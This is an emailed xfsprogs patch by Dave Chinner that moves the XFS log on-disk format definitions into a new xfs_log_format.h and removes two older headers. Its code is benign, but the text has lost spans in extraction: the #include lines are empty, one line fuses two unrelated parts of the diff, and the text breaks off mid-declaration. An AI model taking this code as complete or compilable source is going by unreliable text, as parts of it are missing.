X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on-disk format definitions for the log are spread randoms through a couple of header files. Consolidate it all in a single file that can be shared easily with userspace. This means that xfs_log.h and xfs_log_priv.h no longer need to be shared with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 4 +- include/libxfs.h | 4 +- include/libxlog.h | 6 - include/xfs_log.h | 190 ------------- include/xfs_log_format.h | 178 ++++++++++++ include/xfs_log_priv.h | 692 ---------------------------------------------- libxfs/rdwr.c | 2 - libxlog/xfs_log_recover.c | 3 + 8 files changed, 186 insertions(+), 893 deletions(-) delete mode 100644 include/xfs_log.h create mode 100644 include/xfs_log_format.h delete mode 100644 include/xfs_log_priv.h diff --git a/include/Makefile b/include/Makefile index ba2c80d..efa3275 100644 --- a/include/Makefile +++ b/include/Makefile @@ -27,7 +27,9 @@ QAHFILES = libxfs.h libxlog.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ xfs_icreate_item.h xfs_inode.h xfs_inode_item.h xfs_inum.h \ - xfs_log.h xfs_log_priv.h xfs_log_recover.h xfs_metadump.h \ + xfs_log_format.h \ + xfs_log_recover.h \ + xfs_metadump.h \ xfs_mount.h xfs_quota.h xfs_rtalloc.h xfs_sb.h xfs_symlink.h \ xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h diff --git a/include/libxfs.h b/include/libxfs.h index e776211..c9918cd 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -59,6 +59,8 @@ #include #include +#include + #ifndef ARRAY_SIZE #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #endif @@ -613,8 +615,6 @@ extern unsigned long libxfs_physmem(void); /* in kilobytes */ #include #include #include -#include -#include #define XFS_INOBT_IS_FREE_DISK(rp,i) \ ((be64_to_cpu((rp)->ir_free) & XFS_INOBT_MASK(i)) != 0) diff --git a/include/libxlog.h b/include/libxlog.h index ff711e9..961c4b5 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -53,12 +53,6 @@ struct xlog { #include #include -typedef union { - xlog_rec_header_t hic_header; - xlog_rec_ext_header_t hic_xheader; - char hic_sector[XLOG_HEADER_SIZE]; -} xlog_in_core_2_t; - /* * macros mapping kernel code to user code */ diff --git a/include/xfs_log.h b/include/xfs_log.h deleted file mode 100644 index 70cc014..0000000 --- a/include/xfs_log.h +++ /dev/null @@ -1,190 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_LOG_H__ -#define __XFS_LOG_H__ - -/* get lsn fields */ -#define CYCLE_LSN(lsn) ((uint)((lsn)>>32)) -#define BLOCK_LSN(lsn) ((uint)(lsn)) - -/* this is used in a spot where we might otherwise double-endian-flip */ -#define CYCLE_LSN_DISK(lsn) (((__be32 *)&(lsn))[0]) - -#ifdef __KERNEL__ -/* - * By comparing each component, we don't have to worry about extra - * endian issues in treating two 32 bit numbers as one 64 bit number - */ -static inline xfs_lsn_t _lsn_cmp(xfs_lsn_t lsn1, xfs_lsn_t lsn2) -{ - if (CYCLE_LSN(lsn1) != CYCLE_LSN(lsn2)) - return (CYCLE_LSN(lsn1)l_mp->m_sb.sb_logsunit-1) / \ + (log)->l_mp->m_sb.sb_logsunit) +#define XLOG_LSUNITTOB(log, su) ((su) * (log)->l_mp->m_sb.sb_logsunit) + +#define XLOG_HEADER_SIZE 512 + +#define XLOG_REC_SHIFT(log) \ + BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ + XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) +#define XLOG_TOTAL_REC_SHIFT(log) \ + BTOBB(XLOG_MAX_ICLOGS << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ + XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) + +/* get lsn fields */ +#define CYCLE_LSN(lsn) ((uint)((lsn)>>32)) +#define BLOCK_LSN(lsn) ((uint)(lsn)) + +/* this is used in a spot where we might otherwise double-endian-flip */ +#define CYCLE_LSN_DISK(lsn) (((__be32 *)&(lsn))[0]) + +static inline xfs_lsn_t xlog_assign_lsn(uint cycle, uint block) +{ + return ((xfs_lsn_t)cycle << 32) | block; +} + +static inline uint xlog_get_cycle(char *ptr) +{ + if (be32_to_cpu(*(__be32 *)ptr) == XLOG_HEADER_MAGIC_NUM) + return be32_to_cpu(*((__be32 *)ptr + 1)); + else + return be32_to_cpu(*(__be32 *)ptr); +} + +/* Log Clients */ +#define XFS_TRANSACTION 0x69 +#define XFS_VOLUME 0x2 +#define XFS_LOG 0xaa + +#define XLOG_UNMOUNT_TYPE 0x556e /* Un for Unmount */ + +/* Region types for iovec's i_type */ +#define XLOG_REG_TYPE_BFORMAT 1 +#define XLOG_REG_TYPE_BCHUNK 2 +#define XLOG_REG_TYPE_EFI_FORMAT 3 +#define XLOG_REG_TYPE_EFD_FORMAT 4 +#define XLOG_REG_TYPE_IFORMAT 5 +#define XLOG_REG_TYPE_ICORE 6 +#define XLOG_REG_TYPE_IEXT 7 +#define XLOG_REG_TYPE_IBROOT 8 +#define XLOG_REG_TYPE_ILOCAL 9 +#define XLOG_REG_TYPE_IATTR_EXT 10 +#define XLOG_REG_TYPE_IATTR_BROOT 11 +#define XLOG_REG_TYPE_IATTR_LOCAL 12 +#define XLOG_REG_TYPE_QFORMAT 13 +#define XLOG_REG_TYPE_DQUOT 14 +#define XLOG_REG_TYPE_QUOTAOFF 15 +#define XLOG_REG_TYPE_LRHEADER 16 +#define XLOG_REG_TYPE_UNMOUNT 17 +#define XLOG_REG_TYPE_COMMIT 18 +#define XLOG_REG_TYPE_TRANSHDR 19 +#define XLOG_REG_TYPE_ICREATE 20 +#define XLOG_REG_TYPE_MAX 20 + +/* + * Flags to log operation header + * + * The first write of a new transaction will be preceded with a start + * record, XLOG_START_TRANS. Once a transaction is committed, a commit + * record is written, XLOG_COMMIT_TRANS. If a single region can not fit into + * the remainder of the current active in-core log, it is split up into + * multiple regions. Each partial region will be marked with a + * XLOG_CONTINUE_TRANS until the last one, which gets marked with XLOG_END_TRANS. + * + */ +#define XLOG_START_TRANS 0x01 /* Start a new transaction */ +#define XLOG_COMMIT_TRANS 0x02 /* Commit this transaction */ +#define XLOG_CONTINUE_TRANS 0x04 /* Cont this trans into new region */ +#define XLOG_WAS_CONT_TRANS 0x08 /* Cont this trans into new region */ +#define XLOG_END_TRANS 0x10 /* End a continued transaction */ +#define XLOG_UNMOUNT_TRANS 0x20 /* Unmount a filesystem transaction */ + + +typedef struct xlog_op_header { + __be32 oh_tid; /* transaction id of operation : 4 b */ + __be32 oh_len; /* bytes in data region : 4 b */ + __u8 oh_clientid; /* who sent me this : 1 b */ + __u8 oh_flags; /* : 1 b */ + __u16 oh_res2; /* 32 bit align : 2 b */ +} xlog_op_header_t; + + +/* valid values for h_fmt */ +#define XLOG_FMT_UNKNOWN 0 +#define XLOG_FMT_LINUX_LE 1 +#define XLOG_FMT_LINUX_BE 2 +#define XLOG_FMT_IRIX_BE 3 + +/* our fmt */ +#ifdef XFS_NATIVE_HOST +#define XLOG_FMT XLOG_FMT_LINUX_BE +#else +#define XLOG_FMT XLOG_FMT_LINUX_LE +#endif + +typedef struct xlog_rec_header { + __be32 h_magicno; /* log record (LR) identifier : 4 */ + __be32 h_cycle; /* write cycle of log : 4 */ + __be32 h_version; /* LR version : 4 */ + __be32 h_len; /* len in bytes; should be 64-bit aligned: 4 */ + __be64 h_lsn; /* lsn of this LR : 8 */ + __be64 h_tail_lsn; /* lsn of 1st LR w/ buffers not committed: 8 */ + __le32 h_crc; /* crc of log record : 4 */ + __be32 h_prev_block; /* block number to previous LR : 4 */ + __be32 h_num_logops; /* number of log operations in this LR : 4 */ + __be32 h_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; + /* new fields */ + __be32 h_fmt; /* format of log record : 4 */ + uuid_t h_fs_uuid; /* uuid of FS : 16 */ + __be32 h_size; /* iclog size : 4 */ +} xlog_rec_header_t; + +typedef struct xlog_rec_ext_header { + __be32 xh_cycle; /* write cycle of log : 4 */ + __be32 xh_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; /* : 256 */ +} xlog_rec_ext_header_t; + +/* + * Quite misnamed, because this union lays out the actual on-disk log buffer. + */ +typedef union xlog_in_core2 { + xlog_rec_header_t hic_header; + xlog_rec_ext_header_t hic_xheader; + char hic_sector[XLOG_HEADER_SIZE]; +} xlog_in_core_2_t; + +/* not an on-disk structure, but needed by log recovery in userspace */ +typedef struct xfs_log_iovec { + void *i_addr; /* beginning address of region */ + int i_len; /* length in bytes of region */ + uint i_type; /* type of region */ +} xfs_log_iovec_t; + +#endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/include/xfs_log_priv.h b/include/xfs_log_priv.h deleted file mode 100644 index 16d8d12..0000000 --- a/include/xfs_log_priv.h +++ /dev/null @@ -1,692 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_LOG_PRIV_H__ -#define __XFS_LOG_PRIV_H__ - -struct xfs_buf; -struct xlog; -struct xlog_ticket; -struct xfs_mount; - -/* - * Macros, structures, prototypes for internal log manager use. - */ - -#define XLOG_MIN_ICLOGS 2 -#define XLOG_MAX_ICLOGS 8 -#define XLOG_HEADER_MAGIC_NUM 0xFEEDbabe /* Invalid cycle number */ -#define XLOG_VERSION_1 1 -#define XLOG_VERSION_2 2 /* Large IClogs, Log sunit */ -#define XLOG_VERSION_OKBITS (XLOG_VERSION_1 | XLOG_VERSION_2) -#define XLOG_MIN_RECORD_BSIZE (16*1024) /* eventually 32k */ -#define XLOG_BIG_RECORD_BSIZE (32*1024) /* 32k buffers */ -#define XLOG_MAX_RECORD_BSIZE (256*1024) -#define XLOG_HEADER_CYCLE_SIZE (32*1024) /* cycle data in header */ -#define XLOG_MIN_RECORD_BSHIFT 14 /* 16384 == 1 << 14 */ -#define XLOG_BIG_RECORD_BSHIFT 15 /* 32k == 1 << 15 */ -#define XLOG_MAX_RECORD_BSHIFT 18 /* 256k == 1 << 18 */ -#define XLOG_BTOLSUNIT(log, b) (((b)+(log)->l_mp->m_sb.sb_logsunit-1) / \ - (log)->l_mp->m_sb.sb_logsunit) -#define XLOG_LSUNITTOB(log, su) ((su) * (log)->l_mp->m_sb.sb_logsunit) - -#define XLOG_HEADER_SIZE 512 - -#define XLOG_REC_SHIFT(log) \ - BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ - XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) -#define XLOG_TOTAL_REC_SHIFT(log) \ - BTOBB(XLOG_MAX_ICLOGS << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ - XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) - -static inline xfs_lsn_t xlog_assign_lsn(uint cycle, uint block) -{ - return ((xfs_lsn_t)cycle << 32) | block; -} - -static inline uint xlog_get_cycle(char *ptr) -{ - if (be32_to_cpu(*(__be32 *)ptr) == XLOG_HEADER_MAGIC_NUM) - return be32_to_cpu(*((__be32 *)ptr + 1)); - else - return be32_to_cpu(*(__be32 *)ptr); -} - -#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) - -#ifdef __KERNEL__ - -/* - * get client id from packed copy. - * - * this hack is here because the xlog_pack code copies four bytes - * of xlog_op_header containing the fields oh_clientid, oh_flags - * and oh_res2 into the packed copy. - * - * later on this four byte chunk is treated as an int and the - * client id is pulled out. - * - * this has endian issues, of course. - */ -static inline uint xlog_get_client_id(__be32 i) -{ - return be32_to_cpu(i) >> 24; -} - -/* - * In core log state - */ -#define XLOG_STATE_ACTIVE 0x0001 /* Current IC log being written to */ -#define XLOG_STATE_WANT_SYNC 0x0002 /* Want to sync this iclog; no more writes */ -#define XLOG_STATE_SYNCING 0x0004 /* This IC log is syncing */ -#define XLOG_STATE_DONE_SYNC 0x0008 /* Done syncing to disk */ -#define XLOG_STATE_DO_CALLBACK \ - 0x0010 /* Process callback functions */ -#define XLOG_STATE_CALLBACK 0x0020 /* Callback functions now */ -#define XLOG_STATE_DIRTY 0x0040 /* Dirty IC log, not ready for ACTIVE status*/ -#define XLOG_STATE_IOERROR 0x0080 /* IO error happened in sync'ing log */ -#define XLOG_STATE_ALL 0x7FFF /* All possible valid flags */ -#define XLOG_STATE_NOTUSED 0x8000 /* This IC log not being used */ -#endif /* __KERNEL__ */ - -/* - * Flags to log operation header - * - * The first write of a new transaction will be preceded with a start - * record, XLOG_START_TRANS. Once a transaction is committed, a commit - * record is written, XLOG_COMMIT_TRANS. If a single region can not fit into - * the remainder of the current active in-core log, it is split up into - * multiple regions. Each partial region will be marked with a - * XLOG_CONTINUE_TRANS until the last one, which gets marked with XLOG_END_TRANS. - * - */ -#define XLOG_START_TRANS 0x01 /* Start a new transaction */ -#define XLOG_COMMIT_TRANS 0x02 /* Commit this transaction */ -#define XLOG_CONTINUE_TRANS 0x04 /* Cont this trans into new region */ -#define XLOG_WAS_CONT_TRANS 0x08 /* Cont this trans into new region */ -#define XLOG_END_TRANS 0x10 /* End a continued transaction */ -#define XLOG_UNMOUNT_TRANS 0x20 /* Unmount a filesystem transaction */ - -#ifdef __KERNEL__ -/* - * Flags to log ticket - */ -#define XLOG_TIC_INITED 0x1 /* has been initialized */ -#define XLOG_TIC_PERM_RESERV 0x2 /* permanent reservation */ - -#define XLOG_TIC_FLAGS \ - { XLOG_TIC_INITED, "XLOG_TIC_INITED" }, \ - { XLOG_TIC_PERM_RESERV, "XLOG_TIC_PERM_RESERV" } - -#endif /* __KERNEL__ */ - -#define XLOG_UNMOUNT_TYPE 0x556e /* Un for Unmount */ - -/* - * Flags for log structure - */ -#define XLOG_ACTIVE_RECOVERY 0x2 /* in the middle of recovery */ -#define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ -#define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being - shutdown */ -#define XLOG_TAIL_WARN 0x10 /* log tail verify warning issued */ - -typedef __uint32_t xlog_tid_t; - -#ifdef __KERNEL__ -/* - * Below are states for covering allocation transactions. - * By covering, we mean changing the h_tail_lsn in the last on-disk - * log write such that no allocation transactions will be re-done during - * recovery after a system crash. Recovery starts at the last on-disk - * log write. - * - * These states are used to insert dummy log entries to cover - * space allocation transactions which can undo non-transactional changes - * after a crash. Writes to a file with space - * already allocated do not result in any transactions. Allocations - * might include space beyond the EOF. So if we just push the EOF a - * little, the last transaction for the file could contain the wrong - * size. If there is no file system activity, after an allocation - * transaction, and the system crashes, the allocation transaction - * will get replayed and the file will be truncated. This could - * be hours/days/... after the allocation occurred. - * - * The fix for this is to do two dummy transactions when the - * system is idle. We need two dummy transaction because the h_tail_lsn - * in the log record header needs to point beyond the last possible - * non-dummy transaction. The first dummy changes the h_tail_lsn to - * the first transaction before the dummy. The second dummy causes - * h_tail_lsn to point to the first dummy. Recovery starts at h_tail_lsn. - * - * These dummy transactions get committed when everything - * is idle (after there has been some activity). - * - * There are 5 states used to control this. - * - * IDLE -- no logging has been done on the file system or - * we are done covering previous transactions. - * NEED -- logging has occurred and we need a dummy transaction - * when the log becomes idle. - * DONE -- we were in the NEED state and have committed a dummy - * transaction. - * NEED2 -- we detected that a dummy transaction has gone to the - * on disk log with no other transactions. - * DONE2 -- we committed a dummy transaction when in the NEED2 state. - * - * There are two places where we switch states: - * - * 1.) In xfs_sync, when we detect an idle log and are in NEED or NEED2. - * We commit the dummy transaction and switch to DONE or DONE2, - * respectively. In all other states, we don't do anything. - * - * 2.) When we finish writing the on-disk log (xlog_state_clean_log). - * - * No matter what state we are in, if this isn't the dummy - * transaction going out, the next state is NEED. - * So, if we aren't in the DONE or DONE2 states, the next state - * is NEED. We can't be finishing a write of the dummy record - * unless it was committed and the state switched to DONE or DONE2. - * - * If we are in the DONE state and this was a write of the - * dummy transaction, we move to NEED2. - * - * If we are in the DONE2 state and this was a write of the - * dummy transaction, we move to IDLE. - * - * - * Writing only one dummy transaction can get appended to - * one file space allocation. When this happens, the log recovery - * code replays the space allocation and a file could be truncated. - * This is why we have the NEED2 and DONE2 states before going idle. - */ - -#define XLOG_STATE_COVER_IDLE 0 -#define XLOG_STATE_COVER_NEED 1 -#define XLOG_STATE_COVER_DONE 2 -#define XLOG_STATE_COVER_NEED2 3 -#define XLOG_STATE_COVER_DONE2 4 - -#define XLOG_COVER_OPS 5 - - -/* Ticket reservation region accounting */ -#define XLOG_TIC_LEN_MAX 15 - -/* - * Reservation region - * As would be stored in xfs_log_iovec but without the i_addr which - * we don't care about. - */ -typedef struct xlog_res { - uint r_len; /* region length :4 */ - uint r_type; /* region's transaction type :4 */ -} xlog_res_t; - -typedef struct xlog_ticket { - struct list_head t_queue; /* reserve/write queue */ - struct task_struct *t_task; /* task that owns this ticket */ - xlog_tid_t t_tid; /* transaction identifier : 4 */ - atomic_t t_ref; /* ticket reference count : 4 */ - int t_curr_res; /* current reservation in bytes : 4 */ - int t_unit_res; /* unit reservation in bytes : 4 */ - char t_ocnt; /* original count : 1 */ - char t_cnt; /* current count : 1 */ - char t_clientid; /* who does this belong to; : 1 */ - char t_flags; /* properties of reservation : 1 */ - uint t_trans_type; /* transaction type : 4 */ - - /* reservation array fields */ - uint t_res_num; /* num in array : 4 */ - uint t_res_num_ophdrs; /* num op hdrs : 4 */ - uint t_res_arr_sum; /* array sum : 4 */ - uint t_res_o_flow; /* sum overflow : 4 */ - xlog_res_t t_res_arr[XLOG_TIC_LEN_MAX]; /* array of res : 8 * 15 */ -} xlog_ticket_t; - -#endif - - -typedef struct xlog_op_header { - __be32 oh_tid; /* transaction id of operation : 4 b */ - __be32 oh_len; /* bytes in data region : 4 b */ - __u8 oh_clientid; /* who sent me this : 1 b */ - __u8 oh_flags; /* : 1 b */ - __u16 oh_res2; /* 32 bit align : 2 b */ -} xlog_op_header_t; - - -/* valid values for h_fmt */ -#define XLOG_FMT_UNKNOWN 0 -#define XLOG_FMT_LINUX_LE 1 -#define XLOG_FMT_LINUX_BE 2 -#define XLOG_FMT_IRIX_BE 3 - -/* our fmt */ -#ifdef XFS_NATIVE_HOST -#define XLOG_FMT XLOG_FMT_LINUX_BE -#else -#define XLOG_FMT XLOG_FMT_LINUX_LE -#endif - -typedef struct xlog_rec_header { - __be32 h_magicno; /* log record (LR) identifier : 4 */ - __be32 h_cycle; /* write cycle of log : 4 */ - __be32 h_version; /* LR version : 4 */ - __be32 h_len; /* len in bytes; should be 64-bit aligned: 4 */ - __be64 h_lsn; /* lsn of this LR : 8 */ - __be64 h_tail_lsn; /* lsn of 1st LR w/ buffers not committed: 8 */ - __le32 h_crc; /* crc of log record : 4 */ - __be32 h_prev_block; /* block number to previous LR : 4 */ - __be32 h_num_logops; /* number of log operations in this LR : 4 */ - __be32 h_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; - /* new fields */ - __be32 h_fmt; /* format of log record : 4 */ - uuid_t h_fs_uuid; /* uuid of FS : 16 */ - __be32 h_size; /* iclog size : 4 */ -} xlog_rec_header_t; - -typedef struct xlog_rec_ext_header { - __be32 xh_cycle; /* write cycle of log : 4 */ - __be32 xh_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; /* : 256 */ -} xlog_rec_ext_header_t; - -#ifdef __KERNEL__ - -/* - * Quite misnamed, because this union lays out the actual on-disk log buffer. - */ -typedef union xlog_in_core2 { - xlog_rec_header_t hic_header; - xlog_rec_ext_header_t hic_xheader; - char hic_sector[XLOG_HEADER_SIZE]; -} xlog_in_core_2_t; - -/* - * - A log record header is 512 bytes. There is plenty of room to grow the - * xlog_rec_header_t into the reserved space. - * - ic_data follows, so a write to disk can start at the beginning of - * the iclog. - * - ic_forcewait is used to implement synchronous forcing of the iclog to disk. - * - ic_next is the pointer to the next iclog in the ring. - * - ic_bp is a pointer to the buffer used to write this incore log to disk. - * - ic_log is a pointer back to the global log structure. - * - ic_callback is a linked list of callback function/argument pairs to be - * called after an iclog finishes writing. - * - ic_size is the full size of the header plus data. - * - ic_offset is the current number of bytes written to in this iclog. - * - ic_refcnt is bumped when someone is writing to the log. - * - ic_state is the state of the iclog. - * - * Because of cacheline contention on large machines, we need to separate - * various resources onto different cachelines. To start with, make the - * structure cacheline aligned. The following fields can be contended on - * by independent processes: - * - * - ic_callback_* - * - ic_refcnt - * - fields protected by the global l_icloglock - * - * so we need to ensure that these fields are located in separate cachelines. - * We'll put all the read-only and l_icloglock fields in the first cacheline, - * and move everything else out to subsequent cachelines. - */ -typedef struct xlog_in_core { - wait_queue_head_t ic_force_wait; - wait_queue_head_t ic_write_wait; - struct xlog_in_core *ic_next; - struct xlog_in_core *ic_prev; - struct xfs_buf *ic_bp; - struct xlog *ic_log; - int ic_size; - int ic_offset; - int ic_bwritecnt; - unsigned short ic_state; - char *ic_datap; /* pointer to iclog data */ - - /* Callback structures need their own cacheline */ - spinlock_t ic_callback_lock ____cacheline_aligned_in_smp; - xfs_log_callback_t *ic_callback; - xfs_log_callback_t **ic_callback_tail; - - /* reference counts need their own cacheline */ - atomic_t ic_refcnt ____cacheline_aligned_in_smp; - xlog_in_core_2_t *ic_data; -#define ic_header ic_data->hic_header -} xlog_in_core_t; - -/* - * The CIL context is used to aggregate per-transaction details as well be - * passed to the iclog for checkpoint post-commit processing. After being - * passed to the iclog, another context needs to be allocated for tracking the - * next set of transactions to be aggregated into a checkpoint. - */ -struct xfs_cil; - -struct xfs_cil_ctx { - struct xfs_cil *cil; - xfs_lsn_t sequence; /* chkpt sequence # */ - xfs_lsn_t start_lsn; /* first LSN of chkpt commit */ - xfs_lsn_t commit_lsn; /* chkpt commit record lsn */ - struct xlog_ticket *ticket; /* chkpt ticket */ - int nvecs; /* number of regions */ - int space_used; /* aggregate size of regions */ - struct list_head busy_extents; /* busy extents in chkpt */ - struct xfs_log_vec *lv_chain; /* logvecs being pushed */ - xfs_log_callback_t log_cb; /* completion callback hook. */ - struct list_head committing; /* ctx committing list */ -}; - -/* - * Committed Item List structure - * - * This structure is used to track log items that have been committed but not - * yet written into the log. It is used only when the delayed logging mount - * option is enabled. - * - * This structure tracks the list of committing checkpoint contexts so - * we can avoid the problem of having to hold out new transactions during a - * flush until we have a the commit record LSN of the checkpoint. We can - * traverse the list of committing contexts in xlog_cil_push_lsn() to find a - * sequence match and extract the commit LSN directly from there. If the - * checkpoint is still in the process of committing, we can block waiting for - * the commit LSN to be determined as well. This should make synchronous - * operations almost as efficient as the old logging methods. - */ -struct xfs_cil { - struct xlog *xc_log; - struct list_head xc_cil; - spinlock_t xc_cil_lock; - struct xfs_cil_ctx *xc_ctx; - struct rw_semaphore xc_ctx_lock; - struct list_head xc_committing; - wait_queue_head_t xc_commit_wait; - xfs_lsn_t xc_current_sequence; - struct work_struct xc_push_work; - xfs_lsn_t xc_push_seq; -}; - -/* - * The amount of log space we allow the CIL to aggregate is difficult to size. - * Whatever we choose, we have to make sure we can get a reservation for the - * log space effectively, that it is large enough to capture sufficient - * relogging to reduce log buffer IO significantly, but it is not too large for - * the log or induces too much latency when writing out through the iclogs. We - * track both space consumed and the number of vectors in the checkpoint - * context, so we need to decide which to use for limiting. - * - * Every log buffer we write out during a push needs a header reserved, which - * is at least one sector and more for v2 logs. Hence we need a reservation of - * at least 512 bytes per 32k of log space just for the LR headers. That means - * 16KB of reservation per megabyte of delayed logging space we will consume, - * plus various headers. The number of headers will vary based on the num of - * io vectors, so limiting on a specific number of vectors is going to result - * in transactions of varying size. IOWs, it is more consistent to track and - * limit space consumed in the log rather than by the number of objects being - * logged in order to prevent checkpoint ticket overruns. - * - * Further, use of static reservations through the log grant mechanism is - * problematic. It introduces a lot of complexity (e.g. reserve grant vs write - * grant) and a significant deadlock potential because regranting write space - * can block on log pushes. Hence if we have to regrant log space during a log - * push, we can deadlock. - * - * However, we can avoid this by use of a dynamic "reservation stealing" - * technique during transaction commit whereby unused reservation space in the - * transaction ticket is transferred to the CIL ctx commit ticket to cover the - * space needed by the checkpoint transaction. This means that we never need to - * specifically reserve space for the CIL checkpoint transaction, nor do we - * need to regrant space once the checkpoint completes. This also means the - * checkpoint transaction ticket is specific to the checkpoint context, rather - * than the CIL itself. - * - * With dynamic reservations, we can effectively make up arbitrary limits for - * the checkpoint size so long as they don't violate any other size rules. - * Recovery imposes a rule that no transaction exceed half the log, so we are - * limited by that. Furthermore, the log transaction reservation subsystem - * tries to keep 25% of the log free, so we need to keep below that limit or we - * risk running out of free log space to start any new transactions. - * - * In order to keep background CIL push efficient, we will set a lower - * threshold at which background pushing is attempted without blocking current - * transaction commits. A separate, higher bound defines when CIL pushes are - * enforced to ensure we stay within our maximum checkpoint size bounds. - * threshold, yet give us plenty of space for aggregation on large logs. - */ -#define XLOG_CIL_SPACE_LIMIT(log) (log->l_logsize >> 3) -#define XLOG_CIL_HARD_SPACE_LIMIT(log) (3 * (log->l_logsize >> 4)) - -/* - * ticket grant locks, queues and accounting have their own cachlines - * as these are quite hot and can be operated on concurrently. - */ -struct xlog_grant_head { - spinlock_t lock ____cacheline_aligned_in_smp; - struct list_head waiters; - atomic64_t grant; -}; - -/* - * The reservation head lsn is not made up of a cycle number and block number. - * Instead, it uses a cycle number and byte number. Logs don't expect to - * overflow 31 bits worth of byte offset, so using a byte number will mean - * that round off problems won't occur when releasing partial reservations. - */ -struct xlog { - /* The following fields don't need locking */ - struct xfs_mount *l_mp; /* mount point */ - struct xfs_ail *l_ailp; /* AIL log is working with */ - struct xfs_cil *l_cilp; /* CIL log is working with */ - struct xfs_buf *l_xbuf; /* extra buffer for log - * wrapping */ - struct xfs_buftarg *l_targ; /* buftarg of log */ - struct delayed_work l_work; /* background flush work */ - uint l_flags; - uint l_quotaoffs_flag; /* XFS_DQ_*, for QUOTAOFFs */ - struct list_head *l_buf_cancel_table; - int l_iclog_hsize; /* size of iclog header */ - int l_iclog_heads; /* # of iclog header sectors */ - uint l_sectBBsize; /* sector size in BBs (2^n) */ - int l_iclog_size; /* size of log in bytes */ - int l_iclog_size_log; /* log power size of log */ - int l_iclog_bufs; /* number of iclog buffers */ - xfs_daddr_t l_logBBstart; /* start block of log */ - int l_logsize; /* size of log in bytes */ - int l_logBBsize; /* size of log in BB chunks */ - - /* The following block of fields are changed while holding icloglock */ - wait_queue_head_t l_flush_wait ____cacheline_aligned_in_smp; - /* waiting for iclog flush */ - int l_covered_state;/* state of "covering disk - * log entries" */ - xlog_in_core_t *l_iclog; /* head log queue */ - spinlock_t l_icloglock; /* grab to change iclog state */ - int l_curr_cycle; /* Cycle number of log writes */ - int l_prev_cycle; /* Cycle number before last - * block increment */ - int l_curr_block; /* current logical log block */ - int l_prev_block; /* previous logical log block */ - - /* - * l_last_sync_lsn and l_tail_lsn are atomics so they can be set and - * read without needing to hold specific locks. To avoid operations - * contending with other hot objects, place each of them on a separate - * cacheline. - */ - /* lsn of last LR on disk */ - atomic64_t l_last_sync_lsn ____cacheline_aligned_in_smp; - /* lsn of 1st LR with unflushed * buffers */ - atomic64_t l_tail_lsn ____cacheline_aligned_in_smp; - - struct xlog_grant_head l_reserve_head; - struct xlog_grant_head l_write_head; - - /* The following field are used for debugging; need to hold icloglock */ -#ifdef DEBUG - char *l_iclog_bak[XLOG_MAX_ICLOGS]; -#endif - -}; - -#define XLOG_BUF_CANCEL_BUCKET(log, blkno) \ - ((log)->l_buf_cancel_table + ((__uint64_t)blkno % XLOG_BC_TABLE_SIZE)) - -#define XLOG_FORCED_SHUTDOWN(log) ((log)->l_flags & XLOG_IO_ERROR) - -/* common routines */ -extern int -xlog_recover( - struct xlog *log); -extern int -xlog_recover_finish( - struct xlog *log); - -extern __le32 xlog_cksum(struct xlog *log, struct xlog_rec_header *rhead, - char *dp, int size); - -extern kmem_zone_t *xfs_log_ticket_zone; -struct xlog_ticket * -xlog_ticket_alloc( - struct xlog *log, - int unit_bytes, - int count, - char client, - bool permanent, - xfs_km_flags_t alloc_flags); - - -static inline void -xlog_write_adv_cnt(void **ptr, int *len, int *off, size_t bytes) -{ - *ptr += bytes; - *len -= bytes; - *off += bytes; -} - -void xlog_print_tic_res(struct xfs_mount *mp, struct xlog_ticket *ticket); -int -xlog_write( - struct xlog *log, - struct xfs_log_vec *log_vector, - struct xlog_ticket *tic, - 